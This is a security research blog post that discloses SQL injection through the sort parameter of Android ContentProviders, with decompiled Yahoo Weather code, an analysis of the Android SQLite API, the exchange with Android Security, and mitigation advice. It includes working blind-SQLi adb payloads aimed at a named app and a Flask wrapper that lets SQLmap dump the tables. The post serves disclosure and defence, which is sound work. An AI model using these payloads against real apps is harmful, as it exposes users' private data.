Friday, March 11, 2016

Android, SQL and ContentProviders or Why SQL injections aren't dead yet ?

7:27 AM Posted by ASM
Before we get into SQL injections and what might go wrong, we'll start by covering some technical information on Content Providers.

I. ContentProvider


Content Providers are as the Android Developers explains it

"the standard interface that connects data in one process with code running in another process." (source http://developer.android.com/guide/topics/providers/content-providers.html).

Basically content providers are standardized way to expose and access particular information in an application. For instance if we take a real example, the Yahoo weather App for instance exposes the following Content Providers to access location, weather forecast, etc (information extracted from the AndroidManifest.xml):




<provider android:authorities="com.yahoo.mobile.client.android.weather.provider.Weather" 
   android:exported="true" 
   android:grantUriPermissions="true" 
   android:label="@7F08017B" 
   android:name="com.yahoo.mobile.client.android.weather.provider.WeatherProvider" 
    android:syncable="true">
</provider>

The most important attributes to check from a security standpoint are the 'authorities', 'exported', 'name' and 'permissions'. 'authority' is basically the URI to access that particular content provider. 'exported' indicates if the content provider is exposed to other apps, the default behavior has changed before sdk version 16 as it was true by default, hence it is highly recommended to explicitly state if your content provider should be exported or not. 'name' indicates the class name implementing the ContentProvider.

If we check the code of this Content Provider (decompiled):

package com.yahoo.mobile.client.android.weather.provider;

public class WeatherProvider extends android.content.ContentProvider {
    private static final android.content.UriMatcher a;

    static WeatherProvider()
    {

        com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a = new android.content.UriMatcher(-1);

        com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a.addURI("com.yahoo.mobile.client.android.weather.provider.Weather", com.yahoo.mobile.client.android.weather.provider.WeatherUriMatcher$Locations.a.getPath().substring(1), 1);

        com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a.addURI("com.yahoo.mobile.client.android.weather.provider.Weather", com.yahoo.mobile.client.android.weather.provider.WeatherUriMatcher$Locations.b.getPath().substring(1), 2);

        com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a.addURI("com.yahoo.mobile.client.android.weather.provider.Weather", com.yahoo.mobile.client.android.weather.provider.WeatherUriMatcher$CurrentForecasts.a.getPath().substring(1), 3);

        com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a.addURI("com.yahoo.mobile.client.android.weather.provider.Weather", com.yahoo.mobile.client.android.weather.provider.WeatherUriMatcher$CurrentForecasts.b.getPath().substring(1), 4);

        com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a.addURI("com.yahoo.mobile.client.android.weather.provider.Weather", com.yahoo.mobile.client.android.weather.provider.WeatherUriMatcher$WeatherAlerts.a.getPath().substring(1), 5);

        com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a.addURI("com.yahoo.mobile.client.android.weather.provider.Weather", com.yahoo.mobile.client.android.weather.provider.WeatherUriMatcher$WeatherAlerts.b.getPath().substring(1), 6);

        com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a.addURI("com.yahoo.mobile.client.android.weather.provider.Weather", com.yahoo.mobile.client.android.weather.provider.WeatherUriMatcher$HourlyForecasts.a.getPath().substring(1), 7);

        com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a.addURI("com.yahoo.mobile.client.android.weather.provider.Weather", com.yahoo.mobile.client.android.weather.provider.WeatherUriMatcher$HourlyForecasts.b.getPath().substring(1), 8);

        com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a.addURI("com.yahoo.mobile.client.android.weather.provider.Weather", com.yahoo.mobile.client.android.weather.provider.WeatherUriMatcher$Images.a.getPath().substring(1), 9);

        com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a.addURI("com.yahoo.mobile.client.android.weather.provider.Weather", com.yahoo.mobile.client.android.weather.provider.WeatherUriMatcher$DailyForecasts.a.getPath().substring(1), 10);

        com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a.addURI("com.yahoo.mobile.client.android.weather.provider.Weather", com.yahoo.mobile.client.android.weather.provider.WeatherUriMatcher$DailyForecasts.b.getPath().substring(1), 11);

        return;
    }

    public WeatherProvider()
    {
        return;
    }

    private static int a(android.net.Uri p4, int p5)
    {
        int v1 = -1;
        if (p4 != null) {
            NumberFormatException v0_3;
            NumberFormatException v0_0 = p4.getPathSegments();
            if (com.yahoo.mobile.client.share.util.Util.a(v0_0)) {
                v0_3 = -1;
            } else {
                try {
                    v0_3 = Integer.parseInt(((String) v0_0.get(p5)));
                } catch (NumberFormatException v0_4) {
                    if (com.yahoo.mobile.client.share.logging.Log.a > 6) {
                    } else {
                        com.yahoo.mobile.client.share.logging.Log.d("WeatherProvider", "Unable to parse current forecast woeid: ", v0_4);
                    }
                }
            }
            v1 = v0_3;
        }
        return v1;
    }

    private static String a(android.net.Uri p3)
    {
        String v0_0 = 0;
        if (p3 != null) {
            java.util.List v1 = p3.getPathSegments();
            if (!com.yahoo.mobile.client.share.util.Util.a(v1)) {
                v0_0 = ((String) v1.get(1));

            }
        }
        return v0_0;
    }

    private static int b(android.net.Uri p1)
    {
        return com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a(p1, 2);
    }

    private static int c(android.net.Uri p1)
    {
        return com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a(p1, 2);
    }

    public int delete(android.net.Uri p2, String p3, String[] p4)
    {
        return 0;
    }

    public String getType(android.net.Uri p2)
    {
        return 0;
    }

    public android.net.Uri insert(android.net.Uri p2, android.content.ContentValues p3)
    {
        return 0;
    }

    public boolean onCreate()
    {
        return 0;
    }

    public android.database.Cursor query(android.net.Uri p8, String[] p9, String p10, String[] p11, String p12)
    {
        android.database.Cursor v0_0 = 0;
        if (com.yahoo.mobile.client.share.logging.Log.a <= 2) {
            com.yahoo.mobile.client.share.logging.Log.a("WeatherProvider", new StringBuilder().append("Uri [").append(p8.toString()).append("]").toString());
        }
        try {
            android.content.ContentResolver v1_4 = com.yahoo.mobile.client.android.weathersdk.database.SQLiteWeather.a(this.getContext()).getReadableDatabase();
            switch (com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a.match(p8)) {
                case 1:
                    v0_0 = com.yahoo.mobile.client.android.weathersdk.database.LocationOperations.a(v1_4, p9, p10, p11, p12);

                    if (v0_0 == null) {
                    } else {
                        v0_0.setNotificationUri(this.getContext().getContentResolver(), p8);
                    }
                    break;
                case 2:
                    String v2_12 = com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a(p8);
                    if (com.yahoo.mobile.client.share.util.Util.b(v2_12)) {
                    } else {
                        String[] v3_5 = new String[1];
                        v3_5[0] = v2_12;

                        android.database.Cursor v0_5 = com.yahoo.mobile.client.android.weathersdk.database.SQLiteUtilities.a(p10, "woeid=?", p11, java.util.Arrays.asList(v3_5));

                        v0_0 = com.yahoo.mobile.client.android.weathersdk.database.LocationOperations.a(v1_4, p9, v0_5.a(), v0_5.b(), p12);
                    }
                    break;
                case 3:
                    v0_0 = com.yahoo.mobile.client.android.weathersdk.database.CurrentForecastOperations.b(v1_4);
                    break;
                case 4:
                    v0_0 = com.yahoo.mobile.client.android.weathersdk.database.CurrentForecastOperations.a(v1_4, com.yahoo.mobile.client.android.weather.provider.WeatherProvider.b(p8));
                    break;
                case 5:
                    v0_0 = com.yahoo.mobile.client.android.weathersdk.database.WeatherAlertsOperations.b(v1_4);
                    break;
                case 6:
                    v0_0 = com.yahoo.mobile.client.android.weathersdk.database.WeatherAlertsOperations.c(v1_4, com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a(p8, 2));
                    break;
                case 7:
                    v0_0 = com.yahoo.mobile.client.android.weathersdk.database.HourlyForecastOperations.b(v1_4);
                    break;
                case 8:
                    v0_0 = com.yahoo.mobile.client.android.weathersdk.database.HourlyForecastOperations.a(v1_4, com.yahoo.mobile.client.android.weather.provider.WeatherProvider.c(p8), p8.getBooleanQueryParameter("isCurrentLocation", 0));
                    break;
                case 9:
                default:
                    if (com.yahoo.mobile.client.share.logging.Log.a > 6) {
                    } else {
                        com.yahoo.mobile.client.share.logging.Log.e("WeatherProvider", new StringBuilder().append("Unknown Uri [").append(p8).append("]").toString());

                    }
                    break;
                case 10:
                    v0_0 = com.yahoo.mobile.client.android.weathersdk.database.DailyForecastOperations.b(v1_4);
                    break;
                case 11:
                    v0_0 = com.yahoo.mobile.client.android.weathersdk.database.DailyForecastOperations.a(v1_4, com.yahoo.mobile.client.android.weather.provider.WeatherProvider.a(p8, 2), 0, 0);
                    break;

            }
        } catch (android.content.ContentResolver v1) {
            if (com.yahoo.mobile.client.share.logging.Log.a > 6) {
            } else {
                com.yahoo.mobile.client.share.logging.Log.e("WeatherProvider", "Unable to get a readable database object.");
            }
        }
        return v0_0;
    }

    public int update(android.net.Uri p2, android.content.ContentValues p3, String p4, String[] p5)
    {
        return 0;
    }
}

The most important methods are 'query', 'update', 'insert' and 'delete'. These methods are the ones exported to other apps. For instance to query the following content provider from command line, you can use the following adb shell command:


> $ adb shell content query --uri content://com.yahoo.mobile.client.android.weather.provider.Weather/locations/                                                                                                     

Row: 0 _id=19, woeid=12728321, isCurrentLocation=0, latitude=48.92167, longitude=2.24733, photoWoeid=55863456, city=Colombes, state=NULL, stateAbbr=NULL, country=France, countryAbbr=FR, timeZoneId=Europe/Paris, timeZoneAbbr=CET, lastUpdatedTimeMillis=1707326856, crc=0

Row: 1 _id=20, woeid=1539359, isCurrentLocation=0, latitude=34.02088, longitude=-6.84165, photoWoeid=1539359, city=Rabat, state=NULL, stateAbbr=NULL, country=Morocco, countryAbbr=MA, timeZoneId=Africa/Casablanca, timeZoneAbbr=WET, lastUpdatedTimeMillis=1707327048, crc=0

Row: 2 _id=21, woeid=2459115, isCurrentLocation=0, latitude=40.71455, longitude=-74.00712, photoWoeid=2459115, city=New York, state=NULL, stateAbbr=NULL, country=United States, countryAbbr=US, timeZoneId=America/New_York, timeZoneAbbr=EST, lastUpdatedTimeMillis=1707327168, crc=0

Row: 3 _id=22, woeid=2487956, isCurrentLocation=0, latitude=37.7474, longitude=-122.43922, photoWoeid=2487956, city=San Francisco, state=NULL, stateAbbr=NULL, country=United States, countryAbbr=US, timeZoneId=America/Los_Angeles, timeZoneAbbr=PST, lastUpdatedTimeMillis=1707327194, crc=0



We've added 'locations' path because the query method is checking the URI with a list of predefined URIs to choose what table to query from. This is a very common pattern for content providers that defines a list of URI using the 'addMatch' method, matching it with the appropriate code and then query the appropriate information, usually from the database (see http://developer.android.com/guide/topics/providers/content-provider-creating.html). The signature of the query method is the following:

public abstract Cursor query (Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder)

The different parameters are all accessible from command line:

usage: adb shell content query --uri <URI> [--user <USER_ID>] [--projection <PROJECTION>] [--where <WHERE>] [--sort <SORT_ORDER>]

  <PROJECTION> is a list of colon separated column names and is formatted:

  <COLUMN_NAME>[:<COLUMN_NAME>...]

  <SORT_OREDER> is the order in which rows in the result should be sorted.

  Example:

  # Select "name" and "value" columns from secure settings where "name" is equal to "new_setting" and sort the result by name in ascending order.

  adb shell content query --uri content://settings/secure --projection name:value --where "name=\'new_setting\'" --sort "name ASC"

For instance you can specify the 'sort' parameter using the following example:


> $ adb shell content query --uri content://com.yahoo.mobile.client.android.weather.provider.Weather/locations/ --sort "_id"                                                                                       

Row: 0 _id=19, woeid=12728321, isCurrentLocation=0, latitude=48.92167, longitude=2.24733, photoWoeid=55863456, city=Colombes, state=NULL, stateAbbr=NULL, country=France, countryAbbr=FR, timeZoneId=Europe/Paris, timeZoneAbbr=CET, lastUpdatedTimeMillis=1707326856, crc=0

Row: 1 _id=20, woeid=1539359, isCurrentLocation=0, latitude=34.02088, longitude=-6.84165, photoWoeid=1539359, city=Rabat, state=NULL, stateAbbr=NULL, country=Morocco, countryAbbr=MA, timeZoneId=Africa/Casablanca, timeZoneAbbr=WET, lastUpdatedTimeMillis=1707327048, crc=0

Row: 2 _id=21, woeid=2459115, isCurrentLocation=0, latitude=40.71455, longitude=-74.00712, photoWoeid=2459115, city=New York, state=NULL, stateAbbr=NULL, country=United States, countryAbbr=US, timeZoneId=America/New_York, timeZoneAbbr=EST, lastUpdatedTimeMillis=1707327168, crc=0

Row: 3 _id=22, woeid=2487956, isCurrentLocation=0, latitude=37.7474, longitude=-122.43922, photoWoeid=2487956, city=San Francisco, state=NULL, stateAbbr=NULL, country=United States, countryAbbr=US, timeZoneId=America/Los_Angeles, timeZoneAbbr=PST, lastUpdatedTimeMillis=1707327194, crc=0

This is all standard and very well documented.

II. Android and SQL

Lately we have been working on creating a taint fuzzer for mobile Apps that automatically solves tainted constraints until it identifies an exploitable sink method, we found several top 1000 Apps reporting vulnerabilities to SQL injection in the --sort parameters.

These apps seemed to properly implement the use of prepared statements, no use of string concatenation or any kind of dirty tricks. Diving into the code of these methods, we found the following common pattern (source from Android Open Source Project):

(com.android.documentsui.RecentsProvider) line 170-171:

152    @Override
153    public Cursor More ...query(Uri uri, String[] projection, String selection, String[] selectionArgs,
154            String sortOrder) {
155        final SQLiteDatabase db = mHelper.getReadableDatabase();
156        switch (sMatcher.match(uri)) {
157            case URI_RECENT:
158                final long cutoff = System.currentTimeMillis() - MAX_HISTORY_IN_MILLIS;
159                return db.query(TABLE_RECENT, projection, RecentColumns.TIMESTAMP + ">" + cutoff,
160                        null, null, null, sortOrder);
161            case URI_STATE:
162                final String authority = uri.getPathSegments().get(1);
163                final String rootId = uri.getPathSegments().get(2);
164                final String documentId = uri.getPathSegments().get(3);
165                return db.query(TABLE_STATE, projection, StateColumns.AUTHORITY + "=? AND "
166                        + StateColumns.ROOT_ID + "=? AND " + StateColumns.DOCUMENT_ID + "=?",
167                        new String[] { authority, rootId, documentId }, null, null, sortOrder);
168            case URI_RESUME:
169                final String packageName = uri.getPathSegments().get(1);
170                return db.query(TABLE_RESUME, projection, ResumeColumns.PACKAGE_NAME + "=?",
171                        new String[] { packageName }, null, null, sortOrder);
172            default:
173                throw new UnsupportedOperationException("Unsupported Uri " + uri);
174        }
175    }



Basically the method is passing the sort parameter directly to the SQLiteDatabase query method. This pattern is really really common, that you can find it even in the Google IOSCHED sample app (see https://github.com/google/iosched/blob/master/android/src/main/java/com/google/samples/apps/iosched/provider/ScheduleProvider.java):

    /** {@inheritDoc} */
    @Override
    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
                        String sortOrder) {
        final SQLiteDatabase db = mOpenHelper.getReadableDatabase();

        String tagsFilter = uri.getQueryParameter(Sessions.QUERY_PARAMETER_TAG_FILTER);
        String categories = uri.getQueryParameter(Sessions.QUERY_PARAMETER_CATEGORIES);



        ScheduleUriEnum matchingUriEnum = mUriMatcher.matchUri(uri);

        // Avoid the expensive string concatenation below if not loggable.
        if (Log.isLoggable(TAG, Log.VERBOSE)) {
            Log.v(TAG, "uri=" + uri + " code=" + matchingUriEnum.code + " proj=" +
                    Arrays.toString(projection) + " selection=" + selection + " args="
                    + Arrays.toString(selectionArgs) + ")");
        }

        switch (matchingUriEnum) {
            default: {
                // Most cases are handled with simple SelectionBuilder.
                final SelectionBuilder builder = buildExpandedSelection(uri, matchingUriEnum.code);

                // If a special filter was specified, try to apply it.
                if (!TextUtils.isEmpty(tagsFilter) && !TextUtils.isEmpty(categories)) {
                    addTagsFilter(builder, tagsFilter, categories);
                }

                boolean distinct = ScheduleContractHelper.isQueryDistinct(uri);


                Cursor cursor = builder
                        .where(selection, selectionArgs)
                        .query(db, distinct, projection, sortOrder, null);


                Context context = getContext();
                if (null != context) {
                    cursor.setNotificationUri(context.getContentResolver(), uri);
                }
                return cursor;
            }
            case SEARCH_SUGGEST: {
                final SelectionBuilder builder = new SelectionBuilder();

                // Adjust incoming query to become SQL text match.
                selectionArgs[0] = selectionArgs[0] + "%";
                builder.table(Tables.SEARCH_SUGGEST);
                builder.where(selection, selectionArgs);
                builder.map(SearchManager.SUGGEST_COLUMN_QUERY,
                        SearchManager.SUGGEST_COLUMN_TEXT_1);
                projection = new String[]{
                        BaseColumns._ID,
                        SearchManager.SUGGEST_COLUMN_TEXT_1,
                        SearchManager.SUGGEST_COLUMN_QUERY
                };

                final String limit = uri.getQueryParameter(SearchManager.SUGGEST_PARAMETER_LIMIT);
                return builder.query(db, false, projection, SearchSuggest.DEFAULT_SORT, limit);
            }
            case SEARCH_TOPICS_SESSIONS: {
                if (selectionArgs == null || selectionArgs.length == 0) {
                    return createMergedSearchCursor(null, null);
                }
                String selectionArg = selectionArgs[0] == null ? "" : selectionArgs[0];
                // First we query the Tags table to find any tags that match the given query
                Cursor tags = query(Tags.CONTENT_URI, SearchTopicsSessions.TOPIC_TAG_PROJECTION,
                        SearchTopicsSessions.TOPIC_TAG_SELECTION,
                        new String[] {Config.Tags.CATEGORY_TOPIC, selectionArg + "%"},
                        Tags.TAG_ORDER_BY_CATEGORY);
                // Then we query the sessions_search table and get a list of sessions that match
                // the given keywords.
                Cursor search = null;
                if (selectionArgs[0] != null) { // dont query if there was no selectionArg.
                    search = query(ScheduleContract.Sessions.buildSearchUri(selectionArg),
                            SearchTopicsSessions.SEARCH_SESSIONS_PROJECTION,
                            null, null,
                            ScheduleContract.Sessions.SORT_BY_TYPE_THEN_TIME);
                }
                // Now that we have two cursors, we merge the cursors and return a unified view
                // of the two result sets.
                return createMergedSearchCursor(tags, search);
            }
        }
    }

Digging a little bit into the API we can find this:


Class android.database.sqlite.SQLiteDatabase

1196    public Cursor query(String table, String[] columns, String selection,
1197            String[] selectionArgs, String groupBy, String having,
1198            String orderBy) {
1199
1200        return query(false, table, columns, selection, selectionArgs, groupBy,
1201                having, orderBy, null /* limit */);
1202    }

...

1029    public Cursor query(boolean distinct, String table, String[] columns,
1030            String selection, String[] selectionArgs, String groupBy,
1031            String having, String orderBy, String limit) {
1032        return queryWithFactory(null, distinct, table, columns, selection, selectionArgs,
1033                groupBy, having, orderBy, limit, null);
1034    }

...

1152    public Cursor queryWithFactory(CursorFactory cursorFactory,
1153            boolean distinct, String table, String[] columns,
1154            String selection, String[] selectionArgs, String groupBy,
1155            String having, String orderBy, String limit, CancellationSignal cancellationSignal) {
1156        acquireReference();
1157        try {
1158            String sql = SQLiteQueryBuilder.buildQueryString(
1159                    distinct, table, columns, selection, groupBy, having, orderBy, limit);
1160
1161            return rawQueryWithFactory(cursorFactory, sql, selectionArgs,
1162                    findEditTable(table), cancellationSignal);
1163        } finally {
1164            releaseReference();
1165        }
1166    }



Class android.database.sqlite.SQLiteQueryBuilder

201    public static String buildQueryString(
202            boolean distinct, String tables, String[] columns, String where,
203            String groupBy, String having, String orderBy, String limit) {
204        if (TextUtils.isEmpty(groupBy) && !TextUtils.isEmpty(having)) {
205            throw new IllegalArgumentException(
206                    "HAVING clauses are only permitted when using a groupBy clause");
207        }
208        if (!TextUtils.isEmpty(limit) && !sLimitPattern.matcher(limit).matches()) {
209            throw new IllegalArgumentException("invalid LIMIT clauses:" + limit);
210        }
211
212        StringBuilder query = new StringBuilder(120);
213
214        query.append("SELECT ");
215        if (distinct) {
216            query.append("DISTINCT ");
217        }
218        if (columns != null && columns.length != 0) {
219            appendColumns(query, columns);
220        } else {
221            query.append("* ");
222        }
223        query.append("FROM ");
224        query.append(tables);
225        appendClause(query, " WHERE ", where);
226        appendClause(query, " GROUP BY ", groupBy);
227        appendClause(query, " HAVING ", having);
228        appendClause(query, " ORDER BY ", orderBy);
229        appendClause(query, " LIMIT ", limit);
230
231        return query.toString();
232    }
233
234    private static void appendClause(StringBuilder s, String name, String clause) {
235        if (!TextUtils.isEmpty(clause)) {
236            s.append(name);
237            s.append(clause);
238        }
239    }



Basically the sort parameter is simply passed from one method to another and then simply concatenated (in appendClause method) to the request hence leading to a very basic SQL injection.

Demonstrating exploitability is simple using a blind SQLi technique (two test with the first 1=1 and the second 1=2 exhibiting different behavior):

> $ adb shell content query --uri content://com.yahoo.mobile.client.android.weather.provider.Weather/locations/ --sort '_id/**/limit/**/\(select/**/1/**/from/**/sqlite_master/**/where/**/1=1\)'                   
Row: 0 _id=1, woeid=2487956, isCurrentLocation=0, latitude=NULL, longitude=NULL, photoWoeid=NULL, city=NULL, state=NULL, stateAbbr=, country=NULL, countryAbbr=, timeZoneId=NULL, timeZoneAbbr=NULL, lastUpdatedTimeMillis=746034814, crc=1591594725
                                                                                                          
> $ adb shell content query --uri content://com.yahoo.mobile.client.android.weather.provider.Weather/locations/ --sort '_id/**/limit/**/\(select/**/1/**/from/**/sqlite_master/**/where/**/1=2\)'                   
Error while accessing provider:com.yahoo.mobile.client.android.weather.provider.Weather
android.database.sqlite.SQLiteException: datatype mismatch (code 20)
at android.database.DatabaseUtils.readExceptionFromParcel(DatabaseUtils.java:181)
at android.database.DatabaseUtils.readExceptionFromParcel(DatabaseUtils.java:137)
at android.content.ContentProviderProxy.query(ContentProviderNative.java:366)
at com.android.commands.content.Content$QueryCommand.onExecute(Content.java:392)
at com.android.commands.content.Content$Command.execute(Content.java:336)
at com.android.commands.content.Content.main(Content.java:462)
at com.android.internal.os.RuntimeInit.nativeFinishInit(Native Method)

To really demonstrate the exploitability of the SQli and as we already have the magnificent SQLmap, here is a dirty hack to use SQLmap on the content provider by simulating a web page (we know it is dirty but it proves the point):

import subprocess
from flask import Flask, request


app = Flask(__name__)

URI = "com.yahoo.mobile.client.android.weather.provider.Weather/locations/"

@app.route("/")
def hello():

   method = request.values['method']
   sort = request.values['sort']
   sort = "_id/**/limit/**/(SELECT/**/1/**/FROM/**/sqlite_master/**/WHERE/**/1={})".format(sort)
   #sort = "_id/**/limit/**/({})".format(sort)

   p = subprocess.Popen(["adb","shell","content",method,"--uri","content://{}".format(URI),"--sort",'"{}"'.format(sort)],stdout=subprocess.PIPE,stderr=subprocess.STDOUT)

   o, e = p.communicate()

   print "[*]SORT:{}".format(sort)
   print "[*]OUTPUT:{}".format(o)
   return "<html><divclass='output'>{}</div></html>".format(o)

if __name__=="__main__":
   app.run()



Launching SQLmap rapidly confirms the SQL injection and starts dumping the tables:




There seems to be a bug in SQLmap guessing the first character of the table name, but we didn't investigate more to pinpoint the source of the issue. Appending the sort parameter with _id/**/limit/**/(SELECT/**/1/**/FROM/**/sqlite_master/**/WHERE/**/1= was the simplest way to get SQLmap to identify it as a boolean-based injection instead of a heavy time-based injection.

Dumping the weather forecast from database is of course not that critical, but out of the several apps  we've identified, some allow to retrieve critical information like emails or session cookies.

How does other APIs behave ?

Django ORM prevents this and results in the following exception:





Java JDBC don't have a similar API allowing to set Order By, Limit or Group By parameters:

https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#overview_ps


SQLAlchemy doesn't prevent against this either:



We'll update the blog with how other APIs are behaving.

III. Trying to report this

Before writing this article, we did report this issue to Android Security team, this is the response we've had:

Hello,
Thanks for the report. I filed a bug for the Android engineering team to look into this. The bug ID is specified by the AndroidID label.  We have not classified the severity of this report yet.  We ask that you keep this report confidential to give us time to develop a fix and notify our bulletins of the vulnerability. We'll let you know if we have any questions.
Please ensure that you have signed the Android Contributor License Agreement (https://cla.developers.google.com/clas/new?kind=KIND_INDIVIDUAL&domain=DOMAIN_ANDROID) so that we can use your contribution.
Thanks again!
The Android Security Team

and then:

Thank you for reporting this.
The engineering team reviewed this and have determined this is not a security issue.
The attack and data you can retrieve is already readily available to the attacker, so the SQL injection won't result in any more information than the user already has access to.

We did send a request for clarification as we've seen apps sharing access to a particular table and storing sensitive data in the same database:
Ok thanks for your response.

Please indulge my curiosity, but I'd just like to make sure I'm understanding correctly; if I have the following example, an email App exporting a content provider to access a 'suggestion' table. If I'm able to use the fact that I can inject SQL queries in the sort parameter and retrieve content from the 'emails' table which shouldn't be accessible, how would that be considered readily accessible to the attacker ?
We unfortunately never heard back from them.

Having exchanged with developers and other security researchers and digging through documentation and blogs, most seem to assume that the API is SQLi safe.

Our opinion is that we must educate developers on the risk of the API in the documentation section and the shared code samples or have a more secure API.

The impact exploiting this are mostly exposure of private information to malicious app already present on the phone, which of course limits the risk, SQLite is known to be robustly tested and suffered from very few vulnerabilities in the past (see https://lcamtuf.blogspot.com/2015/04/finding-bugs-in-sqlite-easy-way.html), the presence of one could mean code execution in the context of the vulnerable application.

For Mobile App developers, to ensure that your application is not vulnerable:
  • Check the use of SQLite API accepting user input (either from content provider, broadcast receivers, services, activities ...) that handles 'limit', 'group by', 'having' and 'sort' parameters
  • Limit access to content providers with proper permissions (privilege Signature and SystemOrSignature type of permissions) and explicity set the exported attribute
  • Separate private data and less private data in separate database limits the impact of any potential SQL injection
  • Check out SnappyDB https://github.com/nhachicha/SnappyDB used by apps like Uber

Popular Posts